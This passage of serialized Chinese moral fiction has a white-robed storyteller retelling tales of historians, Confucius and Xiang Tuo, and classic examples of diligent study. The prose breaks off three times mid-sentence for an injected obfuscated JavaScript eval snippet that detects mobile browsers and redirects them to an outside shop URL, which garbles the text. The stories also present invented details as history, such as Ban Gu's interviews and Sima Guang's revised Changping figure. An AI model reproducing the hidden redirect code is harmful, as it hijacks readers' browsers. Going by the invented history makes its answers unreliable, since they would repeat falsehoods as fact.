孩子们齐刷刷扭头。只见个戴斗笠的白衣人,担着竹担悠悠走来。担子一头是热腾腾的粽子,一头是各式小玩意:竹编的龙舟、五彩的丝线、艾草香囊。斗笠是细篾与菖蒲叶混编,檐边缀着几枚小铜铃。白衣是葛布所制,洗得发白,袖口卷起露出结实小臂。木剑插在腰后,剑穗是褪色的五色丝绦打成双钱结。面上蒙着本色棉纱,只露出一双含笑的眼睛。 “卖糖粽喽——”白衣人放下担子,揭开蒸笼,甜香四溢。 孩子们直咽口水。阿海大着胆子问:“糖粽……怎么卖?” 白衣人笑道:“不要钱,换故事。一个故事换一个粽。” “什么故事?” “就讲——”白衣人看向施先生的桌案,“你手上那本《史记》的故事。” 一、 太史公的竹简 白衣人拿起个竹编龙舟,摆在石阶上。 “话说很久以前,有个叫司马迁的人,他爹是太史令,管记史。他爹临死前说:‘儿啊,咱们祖上就当史官,记史是本分。你要接着记,从黄帝记到现在。’司马迁答应了。” “他背着竹简到处走,问老人,问农夫,问船夫,问铁匠。老人说:‘我爷爷说,他爷爷见过秦始皇修长城,抬石头累死了。’农夫说:‘我太公说,汉高祖从前在这打过仗,借了我家一斗米。’船夫说:‘我听爷爷的爷爷说,屈原就是在这投的江。’” “司马迁就记下:秦始皇的事,汉高祖的事,屈原的事。记了十年,竹简堆成山。” 白衣人从担子里拿出个粽子,剥开竹叶,米香扑鼻。 “后来他得罪了皇帝,受了宫刑。大家都以为他要寻死,可他没死。他说:‘我爹让我记史,史还没记完,不能死。’” “他在牢里还写,在病中还写。写完那天,他把竹简捆好,说:‘这是从黄帝到现在的故事。里面有皇帝,有将军,有文人,也有老人、农夫、船夫、铁匠。’” “有人问:‘你记这些普通人作甚?’司马迁说:‘没有普通人,哪来的皇帝?长城是百姓修的,仗是百姓打的,米是百姓种的。史,是百姓的史。’” 白衣人把粽子递给阿海:“这就是《史记》——不是皇帝一个人的故事,是所有人的故事。” 阿海接过粽子,咬了一口,含糊道:“那……我们能上《史记》么?” “能啊,”白衣人笑,“你爷爷的爷爷的爷爷,也许就被司马迁问过话呢。” 二、 班固的毛笔 白衣人又拿起个竹编龙舟。 “到了汉朝,有个叫班固的,接着司马迁写,写《汉书》。他爹班彪也是史官,家里藏书多。班固从小读竹简,读得眼都花了。” “他写汉高祖,写汉武帝,写卫青霍去病。可写着写着,他觉得不对——怎么全是皇帝将军?种田的呢?打铁的呢?撑船的呢?” “他就背着干粮出门,到处问。在长安市集,问卖饼的老王:‘老王,你爷爷见过汉武帝么?’老王说:‘见过!武帝出巡,我爷爷在路边卖饼,军爷把饼全拿走了,没给钱。’” “在黄河边,问老船夫:‘大爷,你爷爷运过军粮么?’老船夫说:‘运过!我爷爷说,一船粮,三十个船夫,到地方只剩二十八,累死两个。’” “班固就记下:老王爷爷的饼,老船夫爷爷的粮。他弟弟班昭说:‘哥,这些鸡毛蒜皮,记它作甚?’班固说:‘没有饼,皇帝饿不饿?没有粮,将军打不打仗?’” 白衣人又剥了个粽子,递给另一个孩子。 “《汉书》写完了,厚厚一堆。有人说:‘这是汉朝皇帝的家谱。’班固摇头:‘这是汉朝百姓的饭谱。’” 孩子们笑了。施先生坐在亭中,戒尺搁在膝上,默默听着。 三、 范晔的砚台 “汉朝完了,是三国。有个叫范晔的,写《后汉书》。他本来不想写史,想当官。可官没当好,被贬了,闲来无事,就写史。” “他写光武帝,写曹操刘备孙权。可越写越没劲——怎么全是打仗阴谋?老百姓呢?” “他就到处逛。在乡下,问老农:‘您祖上经历过黄巾之乱么?’老农说:‘怎没经历?我太爷爷说,黄巾来了,官军也来了,都抢粮。后来他躲山里,吃野菜活了。’” “在古城,问老吏:‘您祖上在衙门当差么?’老吏说:‘我爷爷是文书。他说,曹操的令,刘备的告,孙权的旨,最后都落到百姓头上——交粮,当兵,纳税。’” “范晔就记下:老农太爷爷的野菜,老吏爷爷的文书。有人说他:‘你写这些琐碎,谁看?’范晔说:‘不看琐碎,怎知乱世?’” 白衣人剥第三个粽子时,施先生忽然开口:“那《三国志》呢?陈寿怎么写?” 白衣人回头一笑,露出弯弯的眼角:“陈寿啊,他有个毛病——太简略。写曹操,‘挟天子以令诸侯’,七个字。可那些年里,百姓怎么过的?他没写。” “所以读《三国志》,得配着《后汉书》读。一本写将相,一本写百姓。就像吃粽子,”白衣人举起粽子,“糯米是糯米,肉是肉,豆沙是豆沙。单吃一样,没味;合起来,才是粽子。” 四、 司马光的灯笼 “唐朝完了是五代,五代完了是宋朝。宋朝有个司马光,编《资治通鉴》。这书厚,从战国写到五代,一千多年。” “司马光编书,有个法子:白天写,夜里也写。书房挂满灯笼,照得亮堂堂。他怕写错,每个事都要查好几本书。” “有天夜里,他查‘长平之战’。书上说,秦将白起坑杀赵卒四十万。司马光想:四十万人,怎么坑?坑多大?挖多久?谁挖的?” “他就问老仆:‘老张,你老家是长平那边的,听说过这事么?’老仆说:‘听我太爷爷说过,长平有个万人坑,现在还能挖出骨头。不过不是四十万,是四万——我太爷爷说,他爷爷的爷爷数过,数了三年,四万具。’” “司马光就记下:‘白起坑杀赵卒,或曰四十万,或曰四万,今从实考,当以四万为近。’” 白衣人看着孩子们:“你们说,是四十万对,还是四万对?” 阿海想了想:“老仆的太爷爷数过,应该是四万对。” “可史书都写四十万啊。”白衣人眨眨眼。 “那……史书写错了?” “不是错,”白衣人说,“是写史的人,有的听说,有的眼见,有的夸大,有的缩小。司马光要做的,就是提着灯笼,在夜里一本本对,一句句问——这叫‘考实录’。” 他指着江上龙舟:“就像划龙舟,有人喊‘赢了十丈’,有人喊‘赢了八丈’。你得自己去看,去量,才知道到底是几丈。” 五、 端午的龙舟 五个粽子讲完五个史家的故事。江上锣鼓骤响,龙舟赛开始了。 白衣人收拾担子,对孩子们说:“好了,故事讲完,我要去看龙舟了。” 阿海拉住他:“先生,您说读史要‘口而诵,心而惟,朝于斯,夕于斯’。可我们……背不下来啊。” 白衣人摸摸他的头,指着江上:“你看那龙舟。船头鼓手,是不是在诵?‘咚!咚!咚!’诵的是力。船尾舵手,是不是在惟?看水势,看风向,惟的是路。整船人,从早练到晚,是不是朝于斯,夕于斯?” 孩子们点头。 “读史也是这样,”白衣人说,“《史记》是鼓,给你力气;《汉书》是舵,给你方向;《后汉书》是桨,让你看清左右;《三国志》是旗,让你知道目标;《通鉴》是整条船,载你过历史的江。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200308|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用全背,但要记住:史是百姓的史,是粽子的史,是龙舟的史。你爷爷的爷爷划龙舟,你爹的爹包粽子,这些也是史。” 他挑起担子,走向江边。走了几步,回头笑道:“对了,今日端午,屈原投江的故事——司马迁问过渔夫,范晔问过船家,司马光查过楚地志。可最知道屈原的,是江里的鱼,是岸边的百姓。你们要吃粽子,要看龙舟,要听百姓说的屈原,那才是真的史。” 尾声·江畔实录 那天之后,施先生不再逼孩子背《史记》《汉书》了。他在观澜亭挂了个牌子:“端午说史——一个粽子一个故事”。 孩子们带来粽子,他就讲:讲屈原的故事,讲伍子胥的故事,讲曹娥的故事——都是从老人、渔夫、船家那里听来的。他说:“这是《史记》没写的,《汉书》漏掉的,《后汉书》忘掉的,《通鉴》略掉的——可这是真的史。” 阿海后来成了船夫,也爱说史。他说:“我爷爷的爷爷,在晋江划了五十年船。他说,江底沉着唐朝的瓦,宋代的砖,明朝的锚。这些也是史。” 而那个卖糖粽的白衣人,再也没有出现。但端午那天,总有孩子在江边看到个戴斗笠的白影,站在最远的礁石上看龙舟。风吹过,带来隐约的歌声: 古今史,全在兹,不在竹简在粽子。 载治乱,知兴衰,要看江水和船桨。 史记一,汉书二,后汉三,国志四——不如爷爷说故事,不如奶奶唱古谣。 兼证经,参通鉴,考实录,通古今——龙舟鼓是太史公,船桨是班固笔,江水是司马光灯笼。 口而诵,心而惟,朝于斯,夕于斯——诵的是糯米香,惟的是菖蒲长,朝朝暮暮是百姓日子长。 本章诫世 一、 读史真义训 - 古今史,全在兹。载治乱,知兴衰。史虽繁,读有次。史记一,汉书二。后汉三,国志四。兼证经,参通鉴。读史者,考实录。通古今,若亲目。口而诵,心而惟。朝于斯,夕于斯 - 破解法:读史者,自问“史是谁的史?是竹简的,还是粽子的?是庙堂的,还是江边的?可只诵书,不诵百姓?可惟文字,不惟人事?” 二、 五史五喻 - 《史记》喻问——司马迁问老人、农夫、船夫、铁匠,史是问出来的 - 《汉书》喻饭——班固记卖饼的老王、运粮的船夫,史是百姓的饭谱 - 《后汉书》喻琐——范晔记老农的野菜、老吏的文书,史是乱世的琐碎 - 《三国志》喻简——陈寿写将相简略,需配百姓史读,如粽子需糯米配肉 - 《通鉴》喻灯——司马光提灯笼对书问人,史是夜里一盏灯 - 五明:史是百姓史,是生活史,是琐碎史,是需配着读的史,是需提灯考的史 三、 粽子大道 - 深层隐喻:史是粽子,竹叶是书,糯米是百姓,肉是帝王,豆沙是文人。只吃糯米,知百姓苦;只吃肉,知帝王事;只吃豆沙,知文人思。合起来吃,才是真史。读史者,当如包粽,当如吃粽,当如品粽 - 终极指向:世人读史,易入歧途:重书卷而轻口传,重将相而轻百姓,重大事而轻琐碎,重一家而轻兼参,重背诵而轻思考。史是生活,是江水,是龙舟,是粽子。莫在书斋求江,莫在竹简求米 端午史偈: 晋江端午赛龙舟,施师讲史要童诵。 史记汉书后汉志,兼证通鉴考实录。 白衣卖粽说史事,太史公简问百姓。 班固笔写百姓饭,范晔砚记乱世碎。 司马光灯笼对书,陈寿略需配民读。 后世叹: 古今史,全在兹,不在竹简在粽子。 载治乱,知兴衰,要看龙舟和船桨。 施师要童诵经史,白衣说史在百姓。 从此观澜亭上说,一个粽子一史事。 正是: 端午晋江赛龙舟,老儒亭中说史经。 史记汉书后汉志,通鉴实录要童诵。 白衣担粽说史事,史在百姓粽米中。 从此读史先问民,不在竹简在生活。 117.勤学谳 楔子·重阳晒书 九月初九重阳,姑苏城“书香巷”里,家家户户在院中铺开竹席,晾晒藏书。这条巷子住的都是读书人,晒书是祖传习俗——防霉防蠹,也显学问。 巷口老槐树下,私塾先生文老夫子正襟危坐,对几个蒙童讲学: “……昔仲尼,师项橐。孔子乃圣人,尚拜七岁孩童为师,尔等小子,岂可不勤学?赵中令,读鲁论。赵普身为宰相,犹且手不释卷,尔等白身,岂敢懈怠?” 孩子们捧着《论语》,呵欠连连。有个叫阿墨的男孩,约莫十岁,偷偷在书页上画小人。 文老夫子戒尺一敲:“阿墨!你来说,孔子为何师项橐?” 阿墨慌慌站起:“因、因项橐聪明……” “如何聪明?” “他、他会堆土城,拦孔子车……” “然后呢?” “然后……然后孔子问他话,他对答如流……”阿墨声音越来越小。 “对答什么?”文老夫子步步紧逼。 阿墨答不上来,脸涨得通红。巷口忽然传来一阵清亮的童谣声: “土城高,土城低,拦住马车笑嘻嘻。 孔子问,项橐答,答得圣人下车揖——” 众人望去,见个戴斗笠的白衣人坐在巷口石墩上,身边围着三五个街坊孩童。斗笠是细竹与茱萸枝混编,檐边缀着几颗茱萸果。白衣是苎麻所制,洗得泛白,袖口用草绳束着。木剑横放膝上,剑穗是褪色的五色丝绦打成重阳结。面上蒙着本色棉纱,一双眼睛弯如新月,正教孩子们拍手唱童谣。 文老夫子皱眉:“何人喧哗?” 白衣人抬头,声音温和:“教孩子们唱个古谣——文先生,您接着讲学。” 文老夫子却盯着他:“你既知项橐故事,何不说来听听?也让这些蒙童长长见识。” 一、 土城的故事 白衣人拍拍身边石墩,让孩子们围坐一圈,自己也坐下。 “好,就说项橐。话说孔子周游列国,一日行车道上,见几个孩童在路中玩。他们用泥土垒了座城,有城门,有城墙,有旗杆。孔子车马到跟前,孩童不让。孔子下车问:‘为何不让路?’” 白衣人顺手从地上抓了把土,在石墩上垒起个小土堆。 “为首孩童就是项橐,那年七岁。他指着土城说:‘老先生请看,这是城。自古只有车绕城,哪有城让车?’” 他在土堆旁画了道车辙。 “孔子一愣,继而大笑:‘说得是!’便命车马绕行。绕行时,孔子问项橐:‘小友,天上有多少星?’” 白衣人抬头看天,孩子们也跟着抬头。 “项橐说:‘天上星,地上尘。老先生问星,何不先数尘?’” “孔子又问:‘地上有多少人?’” “项橐说:‘人分两种:男人,女人。’” “孔子再问:‘一年有多少日?’” “项橐说:‘三日:昨日,今日,明日。’” 阿墨忍不住插嘴:“这……这也算答了?” 白衣人笑:“孔子也这么想。他说:‘你这答法,太过取巧。’” “项橐反问:‘那老先生,鹅鸭为何能浮水?鸿雁为何能鸣叫?松柏为何能长青?’” “孔子一一答了。项橐却说:‘不然。鹅鸭能浮,因脚有蹼;鸿雁能鸣,因颈子长;松柏长青,因心中实——老先生答的,都是表象。’” 文老夫子听到这里,忍不住走近两步:“后来呢?” “后来孔子下车,整衣冠,对项橐一揖:‘后生可畏,吾当师之。’”白衣人看着孩子们,“你们说,孔子为何要拜七岁孩童为师?” 阿墨抢答:“因项橐聪明!” “聪明在哪?” “他……他会反问!” “不止,”白衣人说,“是他敢在路中垒土城,敢拦圣人之车,敢问圣人不知之事。孔子拜的,不是他的聪明,是他的‘敢’——敢疑,敢问,敢不同。” 他拍拍手上土:“这故事,书里写‘昔仲尼,师项橐。古圣贤,尚勤学’。可勤学是什么?是敢垒土城,敢拦车马,敢问‘为何’。” 二、 宰相夜读的故事 白衣人从怀里掏出几块重阳糕,分给孩子们。 “再说赵普。此人少时贫寒,读书不多。后来做了宰相,白天理政,夜里读书。读什么?只读《论语》。” “有同僚笑他:‘赵相,天下书海,何只读《论语》?’赵普说:‘半部《论语》治天下。’” “一夜,他在灯下读《论语》,读到‘己所不欲,勿施于人’,忽拍案而起,在书房踱步。夫人问:‘老爷何事?’赵普说:‘今日有桩案子,我判得不对。’” 白衣人拿起块重阳糕,掰作两半。 “原来白日有两人争田。甲富乙贫,甲有地契,乙称祖产。赵普按律判给甲。夜里读《论语》,想到‘己所不欲’,自问:‘我若是乙,祖产被夺,欲乎?’答:‘不欲。’既不欲,何以施于人?” “次日重审,细查之下,发现地契是伪。乙感涕零,甲伏罪。同僚问:‘赵相如何察觉?’赵普说:‘非我察觉,是《论语》教我。’” 文老夫子捻须:“此乃‘彼既仕,学且勤’之典范。” 白衣人却摇头:“文先生,赵普勤学,勤在何处?” “自然勤在手不释卷,勤在……” “勤在‘用’。”白衣人说,“赵普读《论语》,不是为背书,是为治事。白日判案,夜里读书;读书有得,次日改判。这才是真勤学——学了要用,用中再学。” 他看向阿墨:“若只背书,不知用,就像晒书——书晒得再干,不读不用,与砖石何异?” 巷中晾晒的《论语》《孟子》,在秋阳下泛着黄光。 三、 重阳的问答 文老夫子沉默良久,走到白衣人对面石墩坐下。 “先生之意,是说……勤学不在背书,在用?” “文先生教《论语》,可曾用《论语》?”白衣人问。 “这……”文老夫子怔了怔,“教便是用。” “前日巷中李、王二家争墙,先生可知?” 文老夫子点头。那是巷尾两家,为一道院墙起了争执,闹了半月。 “《论语》有云:‘里仁为美。’先生可曾用此句劝和?” 文老夫子语塞。他当时闭门读书,嫌邻舍吵闹,未加理会。 白衣人从袖中取出一片茱萸叶,递给文老夫子:“重阳佩茱萸,是为驱邪避恶。书如茱萸,读之佩之,是为驱心中之邪,避行事之恶。若只晒不佩,何益之有?” 这时,巷尾传来吵嚷声。正是李、王二家,又在争墙。 文老夫子起身,整了整衣冠,忽对阿墨等学童道:“今日停课,随我来。” 四、 土城与院墙 一群人走到巷尾。李家说墙是他家祖砌,王家说地是他家祖业,各不相让。 文老夫子深吸一口气,走到两家人中间,拱手道:“二位,《论语》有云:‘礼之用,和为贵。’又有云:‘里仁为美。’你我同住一巷,是谓‘里’;仁里和睦,是谓‘美’。今为一道墙,伤和气,失仁里,岂不违圣人之教?” 两家人愣住。他们从未听过文老夫子说这些。 阿墨忽然从人群中钻出,指着那墙说:“这墙是土砖砌的,就像项橐的土城!车要绕城,人要绕墙——李伯伯,王伯伯,你们绕开走,不就行了?” 孩童稚语,却让众人一怔。 白衣人缓步上前,从墙根抓了把土,在掌心摊开:“这土,可是姑苏的土?” “自然是。”两家人都道。 “既都是姑苏土,分什么你的我的?”白衣人说,“昔孔子见项橐垒土城,绕行;今二位为土墙相争,何不各让一步,绕‘墙’而行?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200309|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他弯腰,用木剑在墙边地上画了条线:“以此线为界,各退三尺,留出六尺巷。墙仍在此,巷可通行——可好?” 两家人面面相觑。文老夫子忽对李、王各作一揖:“老夫为邻多年,未行‘里仁’之道,惭愧。愿出修缮之资,将这墙砌齐整,六尺巷铺青砖。” 李、王二人见状,皆愧。李家说:“不敢要先生破费,我家退三尺便是。”王家说:“我家也退三尺。” 一场争执,竟就此化解。 尾声·晒书新俗 重阳过后,书香巷有了新景:那道争墙处,果真各退三尺,留出条六尺巷。巷口立了石碑,刻着“里仁巷”三字。文老夫子题的对联: 土城曾拦孔子车,仁里当让邻里行。 文家的晒书日也变了。不再只晒《论语》《孟子》,也晒“用书录”——记着某日用某句劝和,某日用某理断事。阿墨在“用书录”上画了幅画:孔子下车拜项橐,旁注:“师其敢疑,非师其智。” 至于那位白衣人,当日便飘然离去。有人见他出城往西山去了,斗笠上茱萸果红艳艳的。 后来姑苏城流传开一首童谣,孩童重阳佩茱萸时常唱: “昔仲尼,师项橐,拜的不是聪明是敢学。 赵中令,读鲁论,用的不是书本是仁心。 晒书要晒用书录,读书要读行事经。 土城可拦圣人车,仁里当让六尺巷——” 而文老夫子,每有新生入塾,必先问:“你读书为何?” 若答“为科举”“为功名”,他便摇头。若答“为用”,他便欣然授《论语》。授时必言:“此句可用在何处?此事可用何句?” 有人说,这是受了那白衣人的点化。文老夫子却道:“非是点化,是醒转。读书人,最易睡在书堆里。需有人掀开书页,让光照进来。” 那光,便是“用”之一字。 本章诫世 一、 勤学真义训 - 昔仲尼,师项橐。古圣贤,尚勤学。赵中令,读鲁论。彼既仕,学且勤 - 破解法:读书人,自问“勤学为何?为背书,还是为用书?可敢如项橐垒土城拦车?可用如赵普读《论语》断案?可只晒书不用书?” 二、 二喻二用 - 项橐喻敢——敢垒土城,敢拦圣车,敢疑敢问。勤学之首在敢,非在聪 - 赵普喻用——用《论语》断案,用圣言行事。勤学之本在用,非在诵 - 二明:勤学是敢学,敢疑敢问敢不同;勤学是用学,用书用理用行事。不疑不用,纵读万卷,亦是睡书 三、 用书大道 - 深层隐喻:书是茱萸,佩之驱邪;书是土城,垒之问道;书是墙,绕之行仁。若只晒不佩,只观不垒,只争不让,书是死物。勤学之勤,不在手不释卷,在卷不离事 - 终极指向:世人重勤学,易入歧途:重背诵而轻疑,重藏书而轻用,重书本而轻行事。书是药,治行事之病;书是灯,照前行之路;书是砖,建仁里之墙。不服药,不点灯,不砌墙,书成废纸 重阳学偈: 重阳姑苏晒书忙,文师教诵圣贤章。 仲尼师橐赵普读,要童勤学手不释。 白衣巷口说故事,孔子拜师拜敢疑。 赵普读书在用行,勤学不在诵在行。 从此书香巷晒书,晒书更晒用书记。 后世叹: 昔仲尼,师项橐,拜的是敢不是聪。 赵中令,读鲁论,用的是行不是诵。 文师要童勤背书,白衣说学在用事。 从此读书先问用,圣贤章句在行事。 正是: 重阳姑苏晒书时,文师教童勤学章。 仲尼师橐赵普论,要童手不释卷忙。 白衣巷口说故事,勤学在敢在用行。 从此晒书兼晒用,书香巷成里仁巷。 118.苦学谳 楔子·冬至夜读 腊月冬至,长安城“韦曲”巷深处,蒙馆窗纸透出昏黄灯火。馆中学究路先生正敲着戒尺,对几个孩童训话: “……尔等须知勤苦!古人披蒲编,削竹简——彼无书,且知勉!头悬梁,锥刺股——彼不教,自勤苦!如囊萤,如映雪——家虽贫,学不辍!如负薪,如挂角——身虽劳,犹苦卓!尔等有纸有笔,有灯有烛,若再懈怠,愧对古人!” 孩童们缩着脖子,呵出的白气在冷空中凝成雾。墙角炭盆里,几块劣炭将熄未熄,散着微温。 路先生翻开《劝学篇》,正要领读,巷外忽然传来清脆的童谣声: “蒲编软,竹简硬,无书无纸照样认。 梁上绳,股上锥,不教不催自己背。 囊萤光,映雪亮,家贫点灯借月亮。 负薪读,挂角看,身劳心苦不叫难——” 声音稚嫩欢快,与馆中肃杀格格不入。 路先生皱眉推窗,见对街檐下,几个乞丐孩童正围着一个白衣人拍手唱谣。白衣人坐于蒲团,面前摆着几片蒲叶、几段竹筒。斗笠是苇秆与枯草混编,檐边缀着几粒冰凌。白衣是粗麻所制,洗得发白,肩上落着薄雪。木剑倚墙而立,剑穗是褪色的五色丝绦打成梅花结。面上蒙着本色棉纱,只一双眸子在暮色中清亮如星。 “荒唐!”路先生推门而出,“尔等在此喧哗,扰人清读!” 白衣人抬头,声音温润如春水:“路先生勿怪,孩子们唱的是古谣——正与先生所教相合。” “相合?”路先生冷笑,“古人勤苦,乃为圣学。尔等编作俚曲,嬉笑唱之,成何体统!” 白衣人从怀中掏出几个热烘烘的烤薯,分给乞丐孩童,慢声道:“那便讲正经的——讲讲这蒲编、竹简、悬梁、刺股、囊萤、映雪、负薪、挂角的故事。路先生可愿一听?” 一、 蒲编与竹简 白衣人拿起一片蒲叶,指尖轻抚叶脉。 “先说‘披蒲编’。西汉有路温舒,少时牧羊,无钱买书。见泽中蒲草丰茂,便采蒲叶,裁成册,借人《尚书》,抄于蒲叶上。牧羊时,挂于羊角,边牧边读。” 他手指灵巧,将蒲叶折叠穿插,竟成一册小书模样。 “再说‘削竹简’。公孙弘年轻时家贫,在渤海边替人放猪。欲读书,无简牍,便削海边竹林为简,以刀代笔,刻字其上。放猪时,将竹简系于腰间,猪吃草,他便读简。” 白衣人又拿起竹筒,以指甲在筒身轻划,簌簌有声。 路先生身后,蒙馆孩童也悄悄溜出来,缩在门边听。 阿芦——路先生最顽劣的弟子——小声问:“先生,蒲叶写字,不会糊么?” “用炭灰写,不糊。”白衣人道,“路温舒后来成了司法官,断案公正,人颂‘路公明’。公孙弘官至宰相,倡儒学,设博士。二人所用蒲编、竹简,今在何处?” 孩童们摇头。 “腐了,朽了。”白衣人松手,蒲叶册散开,“可他们读进心里的字,没腐,没朽。” 他将蒲叶分给孩子们:“古人无书,故知书贵。今人有书——”抬眼看了看蒙馆中堆叠的典籍,“可还知贵么?” 二、 悬梁与刺股 “再说‘头悬梁’。东汉孙敬,读书至夜深易困,便以绳系发,悬于梁上。一瞌睡,绳扯发根,立醒。” 白衣人从怀中取出一段麻绳,虚虚在头顶比划。孩童们咯咯笑。 “‘锥刺股’。战国苏秦,游说列国不成,归家苦读。夜倦欲眠,以锥刺股,血流至足。后佩六国相印,衣锦还乡。” 他做了个刺腿动作,孩童们齐声“哎呀”。 路先生颔首:“此方是勤苦典范!” 白衣人却问:“路先生,孙敬后来如何?” “这……自是学有所成。” “苏秦佩六国相印后,又如何?” 路先生语塞。他只教“勤苦”,何曾问“后来”? “孙敬成了学者,著书立说,可记得他系发的绳是什么绳?”白衣人自问自答,“麻绳。苏秦佩相印后,可还记得刺股的锥是铁锥是铜锥?不记得了。” “绳与锥,只是工具。勤苦是为明理,非为绳锥。”白衣人将麻绳编成个如意结,递给一个瑟瑟发抖的小乞丐,“天冷,系在颈上,保暖。” 三、 囊萤与映雪 夜色渐浓,雪又细细飘下。白衣人从怀中取出一只纱囊,囊中竟有微光点点——是几只冬萤,在囊中明明灭灭。 “晋朝车胤,家贫无灯油。夏日捕萤火虫数十,置纱囊中,借光读书。冬日无萤,奈何?” 他顿了顿,指向远处积雪的屋檐。 “同朝孙康,亦家贫。冬夜借雪光读书,手足冻裂而不辍。二人后来皆成大儒。” 阿芦又插嘴:“先生,萤火虫光那么暗,看得清么?” “看不清。”白衣人诚实道,“但车胤说:‘有一点光,便看一点;看一点,便明一点。’孙康说:‘雪光清冷,正可醒神。’” 他解开纱囊,萤火虫飞出,在雪夜中划出微弱光痕。 “囊萤映雪,世人只道勤苦,却不知二人所得,非在书中字,在那一‘光’——暗夜求光,贫寒求知的‘心光’。这心光,比萤亮,比雪明。” 萤火渐飞渐高,融入细雪之中。孩童们仰头望着,一时无声。 四、 负薪与挂角 “最后说‘负薪’与‘挂角’。”白衣人拍拍身边一个背着柴捆的小乞丐,“汉朝朱买臣,家贫,砍柴为生。担柴入市,置书于扁担头,边走边读。妻嫌其贫,离去。买臣说:‘我读书,非为富贵,为明理。’后官至太守,妻求复合,买臣泼水于地,曰:‘覆水难收。’” “隋朝李密,少时放牛。骑牛访友,将《汉书》挂于牛角,边行边读。后成瓦岗军首领。” 路先生听到此处,精神一振:“此二例最宜训蒙!身虽劳,犹苦卓!” 白衣人却问小乞丐:“你背柴为何?” 小乞丐怯怯道:“换饼吃。” “若让你背柴时读书,可愿?” 小乞丐茫然:“读……读什么书?” “读‘柴’的书。”白衣人从柴捆中抽出一根枯枝,“这是什么柴?” “松……松枝。” “松枝何时砍最好?” “立冬后,油脂饱。” “为何要油脂饱?” “耐烧,暖久。” 白衣人点头:“这便是学问。朱买臣读的是竹简上的字,你读的是松枝上的纹。他后来当太守,你将来或成樵中圣手——皆是学问。” 又摸另一个小乞丐的头:“你放牛时,看牛吃草,可知牛爱吃什么草?” “嫩茅草。” “何时草最嫩?” “春三月,带露时。” “这便是你的《汉书》。”白衣人微笑,“李密挂角读史,你俯首观草。他知兴替,你知枯荣——皆是学问。” 路先生怔在当场。 五、 冬至的炭火 雪愈密了。白衣人起身,从檐下抱进一捆干柴,在巷中空地点起篝火。火光熊熊,照亮孩童们冻红的脸。 “路先生,”白衣人往火中添柴,“古人勤苦,为的什么?” “自然是为明圣学,济天下!” “若车胤、孙□□在今日,有灯有烛,可还会囊萤映雪?” “这……应是不会。” “那他们的勤苦精神,今人该如何学?” 路先生语塞。 白衣人用枯枝拨着火:“囊萤,是因无灯;映雪,是因无烛;悬梁刺股,是因易困;负薪挂角,是因劳作。今人有灯有烛,不困不劳,该如何学其精神?” 他看向蒙馆孩童:“你们有纸笔,有灯火,有暖屋,有饱饭——可还知‘勤苦’二字怎么写?” 孩童们低头。 “勤,是心勤,非身勤。苦,是志苦,非身苦。”白衣人声音清朗,“车胤的心,是暗夜求光的心;孙康的心,是贫寒求知的心;孙敬的心,是困顿求醒的心;朱买臣的心,是劳作求明的心。今人无暗夜、无贫寒、无困顿、无劳作——可还有那颗心?” 篝火噼啪,雪落无声。 路先生忽然对白衣人深深一揖:“听君一席话,胜读十年书。老朽……惭愧。” 白衣人还礼:“先生教勤苦,本心甚善。只是勤苦如药,当对症下药。今人症在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209036|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘心怠’,不在‘身怠’。当治心,非治身。” 他将剩下的烤薯分给众人,对孩童们说:“吃完回家吧。明日若读书,想想古人为何勤苦——是为那卷书,还是为那颗心。” 尾声·心光不灭 那夜之后,韦曲巷蒙馆变了样子。 路先生不再一味要求“悬梁刺股”,而是每讲古人勤苦,必问:“若是你,当如何?”馆中炭盆常暖,他说:“孙康映雪,是因贫寒;尔等有炭,当惜此暖,更当惜此时。” 他带着孩童们拜访老樵夫,问松柏荣枯;拜访老农,问节气早晚;拜访铁匠,问火候深浅。他说:“此亦是书,亦是学。” 阿芦后来成了药商,专营草药。他说:“松脂可入药,春草可医人——这都是当年白衣先生教的‘樵中学问’。” 而那个冬至夜在巷中点篝火的白衣人,再未出现。但长安城里,渐渐流传开一首新童谣: “披蒲编,削竹简,无书无纸心要坚。 头悬梁,锥刺股,不教不催心要悟。 囊萤光,映雪亮,家贫心富是真亮。 负薪读,挂角看,身苦心明是真看。 勤苦不在身受苦,在那颗心求明白——” 路先生八十寿辰时,学生在巷中为他立了块碑,刻着他晚年常说的话: “古人勤苦,苦在身;今人勤苦,当苦在心。心有光,何须囊萤映雪?心有志,何须悬梁刺股?心在学,担柴放牛皆是经。” 有人说,这话是那白衣人说的。路先生抚碑微笑:“是谁说的,不重要。重要的是,咱们都听进去了。” 听进去的,是那颗“心”。那颗在暗夜中求光、在贫寒中求知、在困顿中求醒、在劳作中求明的心。 